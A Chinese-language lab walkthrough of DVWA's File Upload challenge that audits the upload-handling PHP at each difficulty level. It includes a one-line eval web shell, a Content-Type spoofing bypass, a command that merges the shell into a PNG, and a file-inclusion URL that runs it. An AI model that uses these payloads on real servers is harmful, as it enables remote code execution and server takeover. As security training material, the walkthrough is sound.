DVWA-File Upload(文件上传)

文件上传是很危险的漏洞，攻击者上传木马到服务器，可以获取服务器的操作权限

LOW

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义 文件上传位置，这里的 DVWA_WEB_PAGE_TO_ROOT 是作者自定义的一个变量
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 获取上传文件 uploaded 传参中的文件名
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // move_uploaded_file 将文件移动到新位置，成功返回 true
    // ！进行取反
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // 如果文件上传失败，经过 ! 取反为 true，文件上传失败
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // 如果文件上传成功，经过 ! 取反为 flase，文件上传成功
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

通过代码设计，没有对上传的文件进行任何过滤，直接上传php文件即可

例如这里上传一句话木马

shell.php

<?php @eval($_POST['cmd']);?>

可以看到文件上传成功，使用两个../../，代表当前目录前两级的目录，那么拼接url就是

上传文件页面:http://127.0.0.1/dvwa/vulnerabilities/upload/

上传文件位置:http://127.0.0.1/dvwa/hackable/uploads/shell.php

使用hacker进行连接测试



命令执行成功

Medium

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义文件上传位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 获取上传文件名
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件名，文件类型，文件大小
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // 通过 文件类型 判断是否为 图片，文件大小需要小于 100000B(字节)大概(97.65625kb)
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // 判断文件是否上传成功
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 上传失败
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 上传成功
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // 不满足图片的反馈
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

这里检查了文件类型，但是这个文件类型是通过请求头中的Content-Type来判断的

使用burpsuite抓包，上传shell.php



抓包中可以看到，Content-Type为application/octet-stream

改为服务器允许的image/jpeg或者image/png



点击Forward，发送进行提交



可以看到文件上传成功

High

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义上传文件位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 拼接得到完整的上传路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件名
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    // 使用 substr() 函数进行截取文件名中 . 后面的内容
    // 通过 strrpos() 获取文件最后一次出现的位置， + 1 是因为 substr通过下标取值
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    // 获取上传文件大小
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    // 获取临时上传文件的位置
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // strtolower 将字符串转换为小写，判断后缀名是否为 jpg、jpeg、png ，且文件大小10000B
    // 最后又通过 getimagesize（） 函数判断了文件的大小
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 将临时上传文件移动到定义文件的上传位置
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 文件上传失败
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件上传成功
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // 反馈上传不是图片
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

通过strtolower转小写后缀必须是小写php，而且通过getimagesize来判断，所以文件内容必须是图片，文件必须小于100000B

即使如果这里又%00阶段，也无法绕过getimagesize的判断文件内容

这只有最后的选择，上传图片木马

图片木马是无法直接进行进行连接的，需要文件包含，当然除非个别网站将图片解析为php执行

生成图片木马

首先需要生成一个后缀名为jpg、jpeg、png的图片，这里建议使用win10自带的画图工具进行生成

首先准备一个使用画图工具生成一个test.png

然后创建一个shell.php内容为一句话木马

<?php @eval($_POST['cmd']);?>

然后使用命令copy /b test.png+shell.php /a muma.png,将两个文件合并，生成一个muma.png



上传muma.png



可以看到上传成功，现在就是文件包含了，使用同等级的File include包含这个图片木马

http://192.168.31.132/dvwa/vulnerabilities/fi/?page=file://D:/phpstudy_pro/WWW/dvwa/hackable/uploads/muma.png

包含图片后页面一堆图片源文件，并没有执行什么



因为是一句话木马，所以使用蚁剑进行连接



再连接DVWA靶场的时候需要注意，DVWA是需要登录认证的，需要在请求信息中加入我们的cookie值



这个cookie可以从网路中获取



连接成功就可以靶机进行操作了

Impossible

审计源码

<?php
// 判断submit是否提交 Upload
if( isset( $_POST[ 'Upload' ] ) ) {
    // 检查 user_token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取文件名、文件后缀名、文件大小、文件类型、文件临时存储位置
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // 定义文件上传路径
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    // 使用 uniqid() 函数生成一个唯一ID，和后缀名进行拼接，并使用md5进行加密
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    // 这里看不太清楚，和上面是类似的
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // 判断文件后缀名是否为 jpg、jpeg、png，文件大小是否小于 100000B，Content-Type是否为image/jpeg，最后又通过getimagesize判断文件是否为图片
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 如果文件类型是 image/jpeg，使用imagecreatefromjpeg()对图片进行处理
        // imagecreatefromjpeg()根据原图片创建一个新图片
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            // 将处理后的内容输出到上传的临时文件
            imagejpeg( $img, $temp_file, 100);
        }
        // 不是一个图片，也会对文件进行新建图片处理
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            // 将处理后的内容输出到上传的临时文件
            imagepng( $img, $temp_file, 9);
        }
        // 释放处理时占用的内容
        imagedestroy( $img );

        // getcwd()获取当前工作目录
        // rename()重命名，类似于移动
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // 移动成功
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // 移动失败
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // 删除临时文件
        // file_exists()检测文件是否存在
        // unlink()删除文件
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // 返回错误信息
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// 生成user_token
generateSessionToken();

?>

对上传文件的名称生成了一个唯一ID并使用md5加密，然后对上传文件进行二次渲染。